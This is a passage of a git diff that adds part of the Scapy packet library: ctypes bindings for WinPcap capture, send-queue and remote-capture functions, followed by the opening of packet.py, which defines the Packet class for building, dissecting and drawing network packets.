+    #bool pcap_offline_filter (struct bpf_program *prog, const struct pcap_pkthdr *header, const u_char *pkt_data)
+    #   Returns if a given filter applies to an offline packet.
+    pcap_offline_filter = _lib.pcap_offline_filter
+    pcap_offline_filter.restype = c_bool
+    pcap_offline_filter.argtypes = [POINTER(bpf_program),POINTER(pcap_pkthdr),POINTER(u_char)]
+    
+    #int pcap_live_dump (pcap_t *p, char *filename, int maxsize, int maxpacks)
+    #   Save a capture to file.
+    pcap_live_dump = _lib.pcap_live_dump
+    pcap_live_dump.restype = c_int
+    pcap_live_dump.argtypes = [POINTER(pcap_t), POINTER(c_char), c_int,c_int]
+    
+    #int pcap_live_dump_ended (pcap_t *p, int sync)
+    #   Return the status of the kernel dump process, i.e. tells if one of the limits defined with pcap_live_dump() has been reached.
+    pcap_live_dump_ended = _lib.pcap_live_dump_ended
+    pcap_live_dump_ended.restype = c_int
+    pcap_live_dump_ended.argtypes = [POINTER(pcap_t), c_int]
+    
+    #struct pcap_stat *  pcap_stats_ex (pcap_t *p, int *pcap_stat_size)
+    #   Return statistics on current capture.
+    pcap_stats_ex = _lib.pcap_stats_ex
+    pcap_stats_ex.restype = POINTER(pcap_stat)
+    pcap_stats_ex.argtypes = [POINTER(pcap_t), POINTER(c_int)]
+    
+    #int pcap_setbuff (pcap_t *p, int dim)
+    #   Set the size of the kernel buffer associated with an adapter.
+    pcap_setbuff = _lib.pcap_setbuff
+    pcap_setbuff.restype = c_int
+    pcap_setbuff.argtypes = [POINTER(pcap_t), c_int]
+    
+    #int pcap_setmode (pcap_t *p, int mode)
+    #   Set the working mode of the interface p to mode.
+    pcap_setmode = _lib.pcap_setmode
+    pcap_setmode.restype = c_int
+    pcap_setmode.argtypes = [POINTER(pcap_t), c_int]
+    
+    #int pcap_setmintocopy (pcap_t *p, int size)
+    #   Set the minumum amount of data received by the kernel in a single call.
+    pcap_setmintocopy = _lib.pcap_setmintocopy
+    pcap_setmintocopy.restype = c_int
+    pcap_setmintocopy.argtype = [POINTER(pcap_t), c_int]
+    
+    #HANDLE pcap_getevent (pcap_t *p)
+    #   Return the handle of the event associated with the interface p.
+    pcap_getevent = _lib.pcap_getevent
+    pcap_getevent.restype = HANDLE
+    pcap_getevent.argtypes = [POINTER(pcap_t)]
+
+    #pcap_send_queue *  pcap_sendqueue_alloc (u_int memsize)
+    #   Allocate a send queue.
+    pcap_sendqueue_alloc = _lib.pcap_sendqueue_alloc
+    pcap_sendqueue_alloc.restype = POINTER(pcap_send_queue)
+    pcap_sendqueue_alloc.argtypes = [c_uint]
+    
+    #void pcap_sendqueue_destroy (pcap_send_queue *queue)
+    #   Destroy a send queue.
+    pcap_sendqueue_destroy = _lib.pcap_sendqueue_destroy
+    pcap_sendqueue_destroy.restype = None
+    pcap_sendqueue_destroy.argtypes = [POINTER(pcap_send_queue)]
+    
+    #int pcap_sendqueue_queue (pcap_send_queue *queue, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data)
+    #   Add a packet to a send queue.
+    pcap_sendqueue_queue = _lib.pcap_sendqueue_queue
+    pcap_sendqueue_queue.restype = c_int
+    pcap_sendqueue_queue.argtypes = [POINTER(pcap_send_queue), POINTER(pcap_pkthdr), POINTER(u_char)]
+    
+    #u_int pcap_sendqueue_transmit (pcap_t *p, pcap_send_queue *queue, int sync)
+    #   Send a queue of raw packets to the network.
+    pcap_sendqueue_transmit = _lib.pcap_sendqueue_transmit
+    pcap_sendqueue_transmit.retype = u_int
+    pcap_sendqueue_transmit.argtypes = [POINTER(pcap_t), POINTER(pcap_send_queue), c_int]
+    
+    #int pcap_findalldevs_ex (char *source, struct pcap_rmtauth *auth, pcap_if_t **alldevs, char *errbuf)
+    #   Create a list of network devices that can be opened with pcap_open().
+    pcap_findalldevs_ex = _lib.pcap_findalldevs_ex
+    pcap_findalldevs_ex.retype = c_int
+    pcap_findalldevs_ex.argtypes = [STRING, POINTER(pcap_rmtauth), POINTER(POINTER(pcap_if_t)), STRING]
+    
+    #int pcap_createsrcstr (char *source, int type, const char *host, const char *port, const char *name, char *errbuf)
+    #   Accept a set of strings (host name, port, ...), and it returns the complete source string according to the new format (e.g. 'rpcap://1.2.3.4/eth0').
+    pcap_createsrcstr = _lib.pcap_createsrcstr
+    pcap_createsrcstr.restype = c_int
+    pcap_createsrcstr.argtypes = [STRING, c_int, STRING, STRING, STRING, STRING]
+    
+    #int pcap_parsesrcstr (const char *source, int *type, char *host, char *port, char *name, char *errbuf)
+    #   Parse the source string and returns the pieces in which the source can be split.
+    pcap_parsesrcstr = _lib.pcap_parsesrcstr
+    pcap_parsesrcstr.retype = c_int
+    pcap_parsesrcstr.argtypes = [STRING, POINTER(c_int), STRING, STRING, STRING, STRING]
+    
+    #pcap_t *   pcap_open (const char *source, int snaplen, int flags, int read_timeout, struct pcap_rmtauth *auth, char *errbuf)
+    #   Open a generic source in order to capture / send (WinPcap only) traffic.
+    pcap_open = _lib.pcap_open
+    pcap_open.restype = POINTER(pcap_t)
+    pcap_open.argtypes = [STRING, c_int, c_int, c_int, POINTER(pcap_rmtauth), STRING]
+    
+    #struct pcap_samp *  pcap_setsampling (pcap_t *p)
+    #   Define a sampling method for packet capture.
+    pcap_setsampling = _lib.pcap_setsampling
+    pcap_setsampling.restype = POINTER(pcap_samp)
+    pcap_setsampling.argtypes = [POINTER(pcap_t)]
+    
+    #SOCKET pcap_remoteact_accept (const char *address, const char *port, const char *hostlist, char *connectinghost, struct pcap_rmtauth *auth, char *errbuf)
+    #   Block until a network connection is accepted (active mode only).
+    pcap_remoteact_accept = _lib.pcap_remoteact_accept
+    pcap_remoteact_accept.restype = SOCKET
+    pcap_remoteact_accept.argtypes = [STRING, STRING, STRING, STRING, POINTER(pcap_rmtauth), STRING]
+    
+    #int pcap_remoteact_close (const char *host, char *errbuf)
+    #   Drop an active connection (active mode only).
+    pcap_remoteact_close = _lib.pcap_remoteact_close
+    pcap_remoteact_close.restypes = c_int
+    pcap_remoteact_close.argtypes = [STRING, STRING]
+    
+    #void pcap_remoteact_cleanup ()
+    #   Clean the socket that is currently used in waiting active connections.
+    pcap_remoteact_cleanup = _lib.pcap_remoteact_cleanup
+    pcap_remoteact_cleanup.restypes = None
+    pcap_remoteact_cleanup.argtypes = []
+    
+    #int pcap_remoteact_list (char *hostlist, char sep, int size, char *errbuf)
+    #   Return the hostname of the host that have an active connection with us (active mode only). 
+    pcap_remoteact_list = _lib.pcap_remoteact_list
+    pcap_remoteact_list.restype = c_int
+    pcap_remoteact_list.argtypes = [STRING, c_char, c_int, STRING]
diff --git a/scapy/packet.py b/scapy/packet.py
new file mode 100644
index 0000000..9c17050
--- /dev/null
+++ b/scapy/packet.py
@@ -0,0 +1,1515 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Packet class. Binding mechanism. fuzz() method.
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import re
+import time,itertools
+import copy
+import subprocess
+
+from scapy.fields import StrField, ConditionalField, Emph, PacketListField, BitField, \
+    MultiEnumField, EnumField, FlagsField
+from scapy.config import conf
+from scapy.compat import *
+from scapy.base_classes import BasePacket, Gen, SetGen, Packet_metaclass
+from scapy.volatile import VolatileValue
+from scapy.utils import import_hexcap,tex_escape,colgen,get_temp_file, \
+    ContextManagerSubprocess
+from scapy.error import Scapy_Exception, log_runtime
+from scapy.consts import PYX
+import scapy.modules.six as six
+
+try:
+    import pyx
+except ImportError:
+    pass
+
+
+class RawVal:
+    def __init__(self, val=""):
+        self.val = val
+    def __str__(self):
+        return str(self.val)
+    def __bytes__(self):
+        return raw(self.val)
+    def __repr__(self):
+        return "<RawVal [%r]>" % self.val
+
+
+class Packet(six.with_metaclass(Packet_metaclass, BasePacket)):
+    __slots__ = [
+        "time", "sent_time", "name", "default_fields",
+        "overload_fields", "overloaded_fields", "fields", "fieldtype",
+        "packetfields",
+        "original", "explicit", "raw_packet_cache",
+        "raw_packet_cache_fields", "_pkt", "post_transforms",
+        # then payload and underlayer
+        "payload", "underlayer",
+        "name",
+        # used for sr()
+        "_answered",
+        # used when sniffing
+        "direction", "sniffed_on"
+    ]
+    name = None
+    fields_desc = []
+    overload_fields = {}
+    payload_guess = []
+    show_indent = 1
+    show_summary = True
+
+    @classmethod
+    def from_hexcap(cls):
+        return cls(import_hexcap())
+
+    @classmethod
+    def upper_bonds(self):
+        for fval,upper in self.payload_guess:
+            print("%-20s  %s" % (upper.__name__, ", ".join("%-12s" % ("%s=%r"%i) for i in six.iteritems(fval))))
+
+    @classmethod
+    def lower_bonds(self):
+        for lower,fval in six.iteritems(self._overload_fields):
+            print("%-20s  %s" % (lower.__name__, ", ".join("%-12s" % ("%s=%r"%i) for i in six.iteritems(fval))))
+
+    def _unpickle(self, dlist):
+        """Used to unpack pickling"""
+        self.__init__(b"".join(dlist))
+        return self
+
+    def __reduce__(self):
+        """Used by pickling methods"""
+        return (self.__class__, (), (self.build(),))
+
+    def __reduce_ex__(self, proto):
+        """Used by pickling methods"""
+        return self.__reduce__()
+
+    def __getstate__(self):
+        """Mark object as pickable"""
+        return self.__reduce__()[2]
+
+    def __setstate__(self, state):
+        """Rebuild state using pickable methods"""
+        return self._unpickle(state)
+
+    def __deepcopy__(self, memo):
+        """Used by copy.deepcopy"""
+        return self.copy()
+
+    def __init__(self, _pkt=b"", post_transform=None, _internal=0, _underlayer=None, **fields):
+        self.time  = time.time()
+        self.sent_time = None
+        self.name = (self.__class__.__name__
+                     if self._name is None else
+                     self._name)
+        self.default_fields = {}
+        self.overload_fields = self._overload_fields
+        self.overloaded_fields = {}
+        self.fields = {}
+        self.fieldtype = {}
+        self.packetfields = []
+        self.payload = NoPayload()
+        self.init_fields()
+        self.underlayer = _underlayer
+        self.original = _pkt
+        self.explicit = 0
+        self.raw_packet_cache = None
+        self.raw_packet_cache_fields = None
+        if _pkt:
+            self.dissect(_pkt)
+            if not _internal:
+                self.dissection_done(self)
+        for f, v in six.iteritems(fields):
+            self.fields[f] = self.get_field(f).any2i(self, v)
+        if isinstance(post_transform, list):
+            self.post_transforms = post_transform
+        elif post_transform is None:
+            self.post_transforms = []
+        else:
+            self.post_transforms = [post_transform]
+
+    def init_fields(self):
+        """
+        Initialize each fields of the fields_desc dict
+        """
+        self.do_init_fields(self.fields_desc)
+
+    def do_init_fields(self, flist):
+        """
+        Initialize each fields of the fields_desc dict
+        """
+        for f in flist:
+            self.default_fields[f.name] = copy.deepcopy(f.default)
+            self.fieldtype[f.name] = f
+            if f.holds_packets:
+                self.packetfields.append(f)
+            
+    def dissection_done(self,pkt):
+        """DEV: will be called after a dissection is completed"""
+        self.post_dissection(pkt)
+        self.payload.dissection_done(pkt)
+        
+    def post_dissection(self, pkt):
+        """DEV: is called after the dissection of the whole packet"""
+        pass
+
+    def get_field(self, fld):
+        """DEV: returns the field instance from the name of the field"""
+        return self.fieldtype[fld]
+        
+    def add_payload(self, payload):
+        if payload is None:
+            return
+        elif not isinstance(self.payload, NoPayload):
+            self.payload.add_payload(payload)
+        else:
+            if isinstance(payload, Packet):
+                self.payload = payload
+                payload.add_underlayer(self)
+                for t in self.aliastypes:
+                    if t in payload.overload_fields:
+                        self.overloaded_fields = payload.overload_fields[t]
+                        break
+            elif isinstance(payload, bytes):
+                self.payload = conf.raw_layer(load=payload)
+            else:
+                raise TypeError("payload must be either 'Packet' or 'bytes', not [%s]" % repr(payload))
+    def remove_payload(self):
+        self.payload.remove_underlayer(self)
+        self.payload = NoPayload()
+        self.overloaded_fields = {}
+    def add_underlayer(self, underlayer):
+        self.underlayer = underlayer
+    def remove_underlayer(self,other):
+        self.underlayer = None
+    def copy(self):
+        """Returns a deep copy of the instance."""
+        clone = self.__class__()
+        clone.fields = self.copy_fields_dict(self.fields)
+        clone.default_fields = self.copy_fields_dict(self.default_fields)
+        clone.overloaded_fields = self.overloaded_fields.copy()
+        clone.underlayer = self.underlayer
+        clone.explicit = self.explicit
+        clone.raw_packet_cache = self.raw_packet_cache
+        clone.raw_packet_cache_fields = self.copy_fields_dict(
+            self.raw_packet_cache_fields
+        )
+        clone.post_transforms = self.post_transforms[:]
+        clone.payload = self.payload.copy()
+        clone.payload.add_underlayer(clone)
+        clone.time = self.time
+        return clone
+
+    def getfieldval(self, attr):
+        if attr in self.fields:
+            return self.fields[attr]
+        if attr in self.overloaded_fields:
+            return self.overloaded_fields[attr]
+        if attr in self.default_fields:
+            return self.default_fields[attr]
+        return self.payload.getfieldval(attr)
+    
+    def getfield_and_val(self, attr):
+        if attr in self.fields:
+            return self.get_field(attr),self.fields[attr]
+        if attr in self.overloaded_fields:
+            return self.get_field(attr),self.overloaded_fields[attr]
+        if attr in self.default_fields:
+            return self.get_field(attr),self.default_fields[attr]
+
+    def __getattr__(self, attr):
+        try:
+            fld, v = self.getfield_and_val(attr)
+        except TypeError:
+            return self.payload.__getattr__(attr)
+        if fld is not None:
+            return fld.i2h(self, v)
+        return v
+
+    def setfieldval(self, attr, val):
+        if attr in self.default_fields:
+            fld = self.get_field(attr)
+            if fld is None:
+                any2i = lambda x,y: y
+            else:
+                any2i = fld.any2i
+            self.fields[attr] = any2i(self, val)
+            self.explicit = 0
+            self.raw_packet_cache = None
+            self.raw_packet_cache_fields = None
+        elif attr == "payload":
+            self.remove_payload()
+            self.add_payload(val)
+        else:
+            self.payload.setfieldval(attr,val)
+
+    def __setattr__(self, attr, val):
+        if attr in self.__all_slots__:
+            return object.__setattr__(self, attr, val)
+        try:
+            return self.setfieldval(attr,val)
+        except AttributeError:
+            pass
+        return object.__setattr__(self, attr, val)
+
+    def delfieldval(self, attr):
+        if attr in self.fields:
+            del(self.fields[attr])
+            self.explicit = 0 # in case a default value must be explicited
+            self.raw_packet_cache = None
+            self.raw_packet_cache_fields = None
+        elif attr in self.default_fields:
+            pass
+        elif attr == "payload":
+            self.remove_payload()
+        else:
+            self.payload.delfieldval(attr)
+
+    def __delattr__(self, attr):
+        if attr == "payload":
+            return self.remove_payload()
+        if attr in self.__all_slots__:
+            return object.__delattr__(self, attr)
+        try:
+            return self.delfieldval(attr)
+        except AttributeError:
+            pass
+        return object.__delattr__(self, attr)
+            
+    def _superdir(self):
+        """
+        Return a list of slots and methods, including those from subclasses.
+        """
+        attrs = set()
+        cls = self.__class__
+        if hasattr(cls, '__all_slots__'):
+            attrs.update(cls.__all_slots__)
+        for bcls in cls.__mro__:
+            if hasattr(bcls, '__dict__'):
+                attrs.update(bcls.__dict__)
+        return attrs
+
+    def __dir__(self):
+        """
+        Add fields to tab completion list.
+        """
+        return sorted(itertools.chain(self._superdir(), self.default_fields))
+
+    def __repr__(self):
+        s = ""
+        ct = conf.color_theme
+        for f in self.fields_desc:
+            if isinstance(f, ConditionalField) and not f._evalcond(self):
+                continue
+            if f.name in self.fields:
+                val = f.i2repr(self, self.fields[f.name])
+            elif f.name in self.overloaded_fields:
+                val =  f.i2repr(self, self.overloaded_fields[f.name])
+            else:
+                continue
+            if isinstance(f, Emph) or f in conf.emph:
+                ncol = ct.emph_field_name
+                vcol = ct.emph_field_value
+            else:
+                ncol = ct.field_name
+                vcol = ct.field_value
+
+                
+            s += " %s%s%s" % (ncol(f.name),
+                              ct.punct("="),
+                              vcol(val))
+        return "%s%s %s %s%s%s"% (ct.punct("<"),
+                                  ct.layer_name(self.__class__.__name__),
+                                  s,
+                                  ct.punct("|"),
+                                  repr(self.payload),
+                                  ct.punct(">"))
+    def __str__(self):
+        return str(self.build())
+    def __bytes__(self):
+        return self.build()
+    def __div__(self, other):
+        if isinstance(other, Packet):
+            cloneA = self.copy()
+            cloneB = other.copy()
+            cloneA.add_payload(cloneB)
+            return cloneA
+        elif isinstance(other, (bytes, str)):
+            return self/conf.raw_layer(load=other)
+        else:
+            return other.__rdiv__(self)
+    __truediv__ = __div__
+    def __rdiv__(self, other):
+        if isinstance(other, (bytes, str)):
+            return conf.raw_layer(load=other)/self
+        else:
+            raise TypeError
+    __rtruediv__ = __rdiv__
+    def __mul__(self, other):
+        if isinstance(other, int):
+            return  [self]*other
+        else:
+            raise TypeError
+    def __rmul__(self,other):
+        return self.__mul__(other)
+    
+    def __nonzero__(self):
+        return True
+    __bool__ = __nonzero__
+    def __len__(self):
+        return len(self.__bytes__())
+    def copy_field_value(self, fieldname, value):
+        return self.get_field(fieldname).do_copy(value)
+    def copy_fields_dict(self, fields):
+        if fields is None:
+            return None
+        return {fname: self.copy_field_value(fname, fval)
+                for fname, fval in six.iteritems(fields)}
+    def self_build(self, field_pos_list=None):
+        """
+        Create the default layer regarding fields_desc dict
+
+        :param field_pos_list:
+        """
+        if self.raw_packet_cache is not None:
+            for fname, fval in six.iteritems(self.raw_packet_cache_fields):
+                if self.getfieldval(fname) != fval:
+                    self.raw_packet_cache = None
+                    self.raw_packet_cache_fields = None
+                    break
+            if self.raw_packet_cache is not None:
+                return self.raw_packet_cache
+        p=b""
+        for f in self.fields_desc:
+            val = self.getfieldval(f.name)
+            if isinstance(val, RawVal):
+                sval = raw(val)
+                p += sval
+                if field_pos_list is not None:
+                    field_pos_list.append( (f.name, sval.encode("string_escape"), len(p), len(sval) ) )
+            else:
+                p = f.addfield(self, p, val)
+        return p
+
+    def do_build_payload(self):
+        """
+        Create the default version of the payload layer
+
+        :return: a string of payload layer
+        """
+        return self.payload.do_build()
+
+    def do_build(self):
+        """
+        Create the default version of the layer
+
+        :return: a string of the packet with the payload
+        """
+        if not self.explicit:
+            self = next(iter(self))
+        pkt = self.self_build()
+        for t in self.post_transforms:
+            pkt = t(pkt)
+        pay = self.do_build_payload()
+        if self.raw_packet_cache is None:
+            return self.post_build(pkt, pay)
+        else:
+            return pkt + pay
+    
+    def build_padding(self):
+        return self.payload.build_padding()
+
+    def build(self):
+        """
+        Create the current layer
+
+        :return: string of the packet with the payload
+        """
+        p = self.do_build()
+        p += self.build_padding()
+        p = self.build_done(p)
+        return p
+    
+    def post_build(self, pkt, pay):
+        """
+        DEV: called right after the current layer is build.
+
+        :param str pkt: the current packet (build by self_buil function)
+        :param str pay: the packet payload (build by do_build_payload function)
+        :return: a string of the packet with the payload
+        """
+        return pkt+pay
+
+    def build_done(self, p):
+        return self.payload.build_done(p)
+
+    def do_build_ps(self):
+        p = b""
+        pl = []
+        q = b""
+        for f in self.fields_desc:
+            if isinstance(f, ConditionalField) and not f._evalcond(self):
+                continue
+            p = f.addfield(self, p, self.getfieldval(f.name) )
+            if isinstance(p, bytes):
+                r = p[len(q):]
+                q = p
+            else:
+                r = b""
+            pl.append( (f, f.i2repr(self,self.getfieldval(f.name)), r) )
+            
+        pkt,lst = self.payload.build_ps(internal=1)
+        p += pkt
+        lst.append( (self, pl) )
+        
+        return p,lst
+    
+    def build_ps(self,internal=0):
+        p,lst = self.do_build_ps()
+#        if not internal:
+#            pkt = self
+#            while pkt.haslayer(conf.padding_layer):
+#                pkt = pkt.getlayer(conf.padding_layer)
+#                lst.append( (pkt, [ ("loakjkjd", pkt.load, pkt.load) ] ) )
+#                p += pkt.load
+#                pkt = pkt.payload
+        return p,lst
+
+
+    def psdump(self, filename=None, **kargs):
+        """
+        psdump(filename=None, layer_shift=0, rebuild=1)
+
+        Creates an EPS file describing a packet. If filename is not provided a
+        temporary file is created and gs is called.
+
+        :param filename: the file's filename
+        """
+        canvas = self.canvas_dump(**kargs)
+        if filename is None:
+            fname = get_temp_file(autoext=".eps")
+            canvas.writeEPSfile(fname)
+            with ContextManagerSubprocess("psdump()", conf.prog.psreader):
+                subprocess.Popen([conf.prog.psreader, fname])
+        else:
+            canvas.writeEPSfile(filename)
+
+    def pdfdump(self, filename=None, **kargs):
+        """
+        pdfdump(filename=None, layer_shift=0, rebuild=1)
+
+        Creates a PDF file describing a packet. If filename is not provided a
+        temporary file is created and xpdf is called.
+
+        :param filename: the file's filename
+        """
+        canvas = self.canvas_dump(**kargs)
+        if filename is None:
+            fname = get_temp_file(autoext=".pdf")
+            canvas.writePDFfile(fname)
+            with ContextManagerSubprocess("pdfdump()", conf.prog.pdfreader):
+                subprocess.Popen([conf.prog.pdfreader, fname])
+        else:
+            canvas.writePDFfile(filename)
+
+        
+    def canvas_dump(self, layer_shift=0, rebuild=1):
+        if PYX == 0:
+            raise ImportError("PyX and its depedencies must be installed")
+        canvas = pyx.canvas.canvas()
+        if rebuild:
+            p,t = self.__class__(raw(self)).build_ps()
+        else:
+            p,t = self.build_ps()
+        YTXT=len(t)
+        for n,l in t:
+            YTXT += len(l)
+        YTXT = float(YTXT)
+        YDUMP=YTXT
+
+        XSTART = 1
+        XDSTART = 10
+        y = 0.0
+        yd = 0.0
+        xd = 0 
+        XMUL= 0.55
+        YMUL = 0.4
+    
+        backcolor=colgen(0.6, 0.8, 1.0, trans=pyx.color.rgb)
+        forecolor=colgen(0.2, 0.5, 0.8, trans=pyx.color.rgb)
+#        backcolor=makecol(0.376, 0.729, 0.525, 1.0)
+        
+        
+        def hexstr(x):
+            s = []
+            for c in x:
+                s.append("%02x" % orb(c))
+            return " ".join(s)
+
+                
+        def make_dump_txt(x,y,txt):
+            return pyx.text.text(XDSTART+x*XMUL, (YDUMP-y)*YMUL, r"\tt{%s}"%hexstr(txt), [pyx.text.size.Large])
+
+        def make_box(o):
+            return pyx.box.rect(o.left(), o.bottom(), o.width(), o.height(), relcenter=(0.5,0.5))
+
+        def make_frame(lst):
+            if len(lst) == 1:
+                b = lst[0].bbox()
+                b.enlarge(pyx.unit.u_pt)
+                return b.path()
+            else:
+                fb = lst[0].bbox()
+                fb.enlarge(pyx.unit.u_pt)
+                lb = lst[-1].bbox()
+                lb.enlarge(pyx.unit.u_pt)
+                if len(lst) == 2 and fb.left() > lb.right():
+                    return pyx.path.path(pyx.path.moveto(fb.right(), fb.top()),
+                                         pyx.path.lineto(fb.left(), fb.top()),
+                                         pyx.path.lineto(fb.left(), fb.bottom()),
+                                         pyx.path.lineto(fb.right(), fb.bottom()),
+                                         pyx.path.moveto(lb.left(), lb.top()),
+                                         pyx.path.lineto(lb.right(), lb.top()),
+                                         pyx.path.lineto(lb.right(), lb.bottom()),
+                                         pyx.path.lineto(lb.left(), lb.bottom()))
+                else:
+                    # XXX
+                    gb = lst[1].bbox()
+                    if gb != lb:
+                        gb.enlarge(pyx.unit.u_pt)
+                    kb = lst[-2].bbox()
+                    if kb != gb and kb != lb:
+                        kb.enlarge(pyx.unit.u_pt)
+                    return pyx.path.path(pyx.path.moveto(fb.left(), fb.top()),
+                                         pyx.path.lineto(fb.right(), fb.top()),
+                                         pyx.path.lineto(fb.right(), kb.bottom()),
+                                         pyx.path.lineto(lb.right(), kb.bottom()),
+                                         pyx.path.lineto(lb.right(), lb.bottom()),
+                                         pyx.path.lineto(lb.left(), lb.bottom()),
+                                         pyx.path.lineto(lb.left(), gb.top()),
+                                         pyx.path.lineto(fb.left(), gb.top()),
+                                         pyx.path.closepath(),)
+                                         
+
+        def make_dump(s, shift=0, y=0, col=None, bkcol=None, larg=16):
+            c = pyx.canvas.canvas()
+            tlist = []
+            while s:
+                dmp,s = s[:larg-shift],s[larg-shift:]
+                txt = make_dump_txt(shift, y, dmp)
+                tlist.append(txt)
+                shift += len(dmp)
+                if shift >= 16:
+                    shift = 0
+                    y += 1
+            if col is None:
+                col = pyx.color.rgb.red
+            if bkcol is None:
+                col = pyx.color.rgb.white
+            c.stroke(make_frame(tlist),[col,pyx.deco.filled([bkcol]),pyx.style.linewidth.Thick])
+            for txt in tlist:
+                c.insert(txt)
+            return c, tlist[-1].bbox(), shift, y
+                            
+
+        last_shift,last_y=0,0.0
+        while t:
+            bkcol = next(backcolor)
+            proto,fields = t.pop()
+            y += 0.5
+            pt = pyx.text.text(XSTART, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % proto.name, [ pyx.text.size.Large])
+            y += 1
+            ptbb=pt.bbox()
+            ptbb.enlarge(pyx.unit.u_pt*2)
+            canvas.stroke(ptbb.path(),[pyx.color.rgb.black, pyx.deco.filled([bkcol])])
+            canvas.insert(pt)
+            for fname, fval, fdump in fields:
+                col = next(forecolor)
+                ft = pyx.text.text(XSTART, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fname.name))
+                if isinstance(fval, str):
+                    if len(fval) > 18:
+                        fval = fval[:18]+"[...]"
+                else:
+                    fval=""
+                vt = pyx.text.text(XSTART+3, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fval))
+                y += 1.0
+                if fdump:
+                    dt,target,last_shift,last_y = make_dump(fdump, last_shift, last_y, col, bkcol)
+
+                    dtb = dt.bbox()
+                    dtb=target
+                    vtb = vt.bbox()
+                    bxvt = make_box(vtb)
+                    bxdt = make_box(dtb)
+                    dtb.enlarge(pyx.unit.u_pt)
+                    try:
+                        if yd < 0:
+                            cnx = pyx.connector.curve(bxvt,bxdt,absangle1=0, absangle2=-90)
+                        else:
+                            cnx = pyx.connector.curve(bxvt,bxdt,absangle1=0, absangle2=90)
+                    except:
+                        pass
+                    else:
+                        canvas.stroke(cnx,[pyx.style.linewidth.thin,pyx.deco.earrow.small,col])
+                        
+                    canvas.insert(dt)
+                
+                canvas.insert(ft)
+                canvas.insert(vt)
+            last_y += layer_shift
+    
+        return canvas
+
+
+
+    def extract_padding(self, s):
+        """
+        DEV: to be overloaded to extract current layer's padding.
+
+        :param str s: the current layer
+        :return: a couple of strings (actual layer, padding)
+        """
+        return s,None
+
+    def post_dissect(self, s):
+        """DEV: is called right after the current layer has been dissected"""
+        return s
+
+    def pre_dissect(self, s):
+        """DEV: is called right before the current layer is dissected"""
+        return s
+
+    def do_dissect(self, s):
+        s = raw(s)
+        _raw = s
+        self.raw_packet_cache_fields = {}
+        for f in self.fields_desc:
+            if not s:
+                break
+            s, fval = f.getfield(self, s)
+            # We need to track fields with mutable values to discard
+            # .raw_packet_cache when needed.
+            if f.islist or f.holds_packets or f.ismutable:
+                self.raw_packet_cache_fields[f.name] = f.do_copy(fval)
+            self.fields[f.name] = fval
+        assert(_raw.endswith(raw(s)))
+        self.raw_packet_cache = _raw[:-len(s)] if s else _raw
+        self.explicit = 1
+        return s
+
+    def do_dissect_payload(self, s):
+        """
+        Perform the dissection of the layer's payload
+
+        :param str s: the raw layer
+        """
+        if s:
+            cls = self.guess_payload_class(s)
+            try:
+                p = cls(s, _internal=1, _underlayer=self)
+            except KeyboardInterrupt:
+                raise
+            except:
+                if conf.debug_dissector:
+                    if isinstance(cls,type) and issubclass(cls,Packet):
+                        log_runtime.error("%s dissector failed" % cls.__name__)
+                    else:
+                        log_runtime.error("%s.guess_payload_class() returned [%s]" % (self.__class__.__name__,repr(cls)))
+                    if cls is not None:
+                        raise
+                p = conf.raw_layer(s, _internal=1, _underlayer=self)
+            self.add_payload(p)
+
+    def dissect(self, s):
+        s = self.pre_dissect(s)
+
+        s = self.do_dissect(s)
+
+        s = self.post_dissect(s)
+            
+        payl,pad = self.extract_padding(s)
+        self.do_dissect_payload(payl)
+        if pad and conf.padding:
+            self.add_payload(conf.padding_layer(pad))
+
+
+    def guess_payload_class(self, payload):
+        """
+        DEV: Guesses the next payload class from layer bonds.
+        Can be overloaded to use a different mechanism.
+
+        :param str payload: the layer's payload
+        :return: the payload class
+        """
+        for t in self.aliastypes:
+            for fval, cls in t.payload_guess:
+                ok = 1
+                for k, v in six.iteritems(fval):
+                    if not hasattr(self, k) or v != self.getfieldval(k):
+                        ok = 0
+                        break
+                if ok:
+                    return cls
+        return self.default_payload_class(payload)
+    
+    def default_payload_class(self, payload):
+        """
+        DEV: Returns the default payload class if nothing has been found by the
+        guess_payload_class() method.
+
+        :param str payload: the layer's payload
+        :return: the default payload class define inside the configuration file
+        """
+        return conf.raw_layer
+
+    def hide_defaults(self):
+        """Removes fields' values that are the same as default values."""
+        for k, v in list(self.fields.items()):  # use list(): self.fields is modified in the loop
+            v = self.fields[k]
+            if k in self.default_fields:
+                if self.default_fields[k] == v:
+                    del self.fields[k]
+        self.payload.hide_defaults()
+
+    def clone_with(self, payload=None, **kargs):
+        pkt = self.__class__()
+        pkt.explicit = 1
+        pkt.fields = kargs
+        pkt.default_fields = self.copy_fields_dict(self.default_fields)
+        pkt.overloaded_fields = self.overloaded_fields.copy()
+        pkt.time = self.time
+        pkt.underlayer = self.underlayer
+        pkt.post_transforms = self.post_transforms
+        pkt.raw_packet_cache = self.raw_packet_cache
+        pkt.raw_packet_cache_fields = self.copy_fields_dict(
+            self.raw_packet_cache_fields
+        )
+        if payload is not None:
+            pkt.add_payload(payload)
+        return pkt
+
+    def __iter__(self):
+        def loop(todo, done, self=self):
+            if todo:
+                eltname = todo.pop()
+                elt = self.getfieldval(eltname)
+                if not isinstance(elt, Gen):
+                    if self.get_field(eltname).islist:
+                        elt = SetGen([elt])
+                    else:
+                        elt = SetGen(elt)
+                for e in elt:
+                    done[eltname]=e
+                    for x in loop(todo[:], done):
+                        yield x
+            else:
+                if isinstance(self.payload,NoPayload):
+                    payloads = [None]
+                else:
+                    payloads = self.payload
+                for payl in payloads:
+                    done2=done.copy()
+                    for k in done2:
+                        if isinstance(done2[k], VolatileValue):
+                            done2[k] = done2[k]._fix()
+                    pkt = self.clone_with(payload=payl, **done2)
+                    yield pkt
+
+        if self.explicit or self.raw_packet_cache is not None:
+            todo = []
+            done = self.fields
+        else:
+            todo = [k for (k,v) in itertools.chain(six.iteritems(self.default_fields),
+                                                   six.iteritems(self.overloaded_fields))
+                    if isinstance(v, VolatileValue)] + list(self.fields.keys())
+            done = {}
+        return loop(todo, done)
+
+    def __gt__(self, other):
+        """True if other is an answer from self (self ==> other)."""
+        if isinstance(other, Packet):
